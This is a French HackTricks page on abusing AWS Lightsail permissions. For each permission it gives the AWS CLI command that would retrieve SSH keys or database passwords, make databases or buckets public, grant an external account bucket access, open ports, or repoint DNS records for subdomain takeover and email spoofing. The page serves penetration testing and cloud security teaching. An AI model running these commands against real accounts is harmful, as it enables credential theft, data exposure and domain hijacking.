AWS - Lightsail Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Lightsail

Pour plus d’informations sur Lightsail, consultez :

AWS - Lightsail Enum

Warning

Il est important de noter que Lightsail n’utilise pas les IAM roles appartenant Ă  l’utilisateur mais un compte gĂ©rĂ© par AWS, donc vous ne pouvez pas abuser de ce service pour privesc. Cependant, des donnĂ©es sensibles telles que du code, des API keys et des informations de base de donnĂ©es peuvent ĂȘtre trouvĂ©es dans ce service.

lightsail:DownloadDefaultKeyPair

Cette permission vous permettra d’obtenir les clĂ©s SSH pour accĂ©der aux instances :

aws lightsail download-default-key-pair

Impact potentiel : Trouver des informations sensibles Ă  l’intĂ©rieur des instances.

lightsail:GetInstanceAccessDetails

Cette permission vous permettra de générer des clés SSH pour accéder aux instances :

aws lightsail get-instance-access-details --instance-name <instance_name>

Potential Impact: Trouver des informations sensibles dans les instances.

lightsail:CreateBucketAccessKey

Cette permission vous permettra d’obtenir une clĂ© pour accĂ©der au bucket :

aws lightsail create-bucket-access-key --bucket-name <name>

Impact potentiel : Trouver des informations sensibles dans le bucket.

lightsail:GetRelationalDatabaseMasterUserPassword

Cette permission vous permettra d’obtenir les identifiants pour accĂ©der Ă  la base de donnĂ©es :

aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Impact potentiel : Trouver des informations sensibles dans la base de données.

lightsail:UpdateRelationalDatabase

Cette permission vous permettra de changer le mot de passe d’accĂšs Ă  la base de donnĂ©es :

aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

Si la base de donnĂ©es n’est pas publique, vous pouvez aussi la rendre publique avec ces permissions.

aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Impact potentiel : Trouver des informations sensibles dans la base de données.

lightsail:OpenInstancePublicPorts

Cette permission permet d’ouvrir des ports sur Internet

aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Impact potentiel : Accéder à des ports sensibles.

lightsail:PutInstancePublicPorts

Cette permission permet d’ouvrir des ports vers Internet. Notez que l’appel fermera tout port ouvert qui n’est pas spĂ©cifiĂ©.

aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Potential Impact: AccĂšs aux ports sensibles.

lightsail:SetResourceAccessForBucket

Cette permission permet de donner Ă  des instances l’accĂšs Ă  un bucket sans credentials supplĂ©mentaires.

aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Impact potentiel : Nouvel accĂšs possible Ă  des buckets contenant des informations sensibles.

lightsail:UpdateBucket

Avec cette permission, un attaquant pourrait accorder Ă  son propre compte AWS un accĂšs en lecture aux buckets ou mĂȘme rendre les buckets publics pour tout le monde :

# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Impact potentiel : AccĂšs potentiel Ă  de nouveaux buckets contenant des informations sensibles.

lightsail:UpdateContainerService

Avec cette permission, un attaquant pourrait accorder l’accĂšs Ă  des ECR privĂ©s depuis le service containers.

aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Impact potentiel : Obtenir des informations sensibles depuis un ECR privé

lightsail:CreateDomainEntry

Un attaquant disposant de cette permission pourrait crĂ©er un sous-domaine et le pointer vers sa propre adresse IP (subdomain takeover), ou crĂ©er un enregistrement SPF qui lui permet de spoof des e-mails depuis le domaine, ou mĂȘme pointer le domaine principal vers sa propre adresse IP.

aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Impact potentiel : Prise de contrîle d’un domaine

lightsail:UpdateDomainEntry

Un attaquant disposant de cette permission pourrait crĂ©er un sous-domaine et le pointer vers sa propre adresse IP (subdomain takeover), ou crĂ©er un enregistrement SPF qui lui permet de spoof emails depuis le domaine, voire configurer le domaine principal pour qu’il pointe vers sa propre adresse IP.

aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Impact potentiel : Prise de contrîle d’un domaine

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks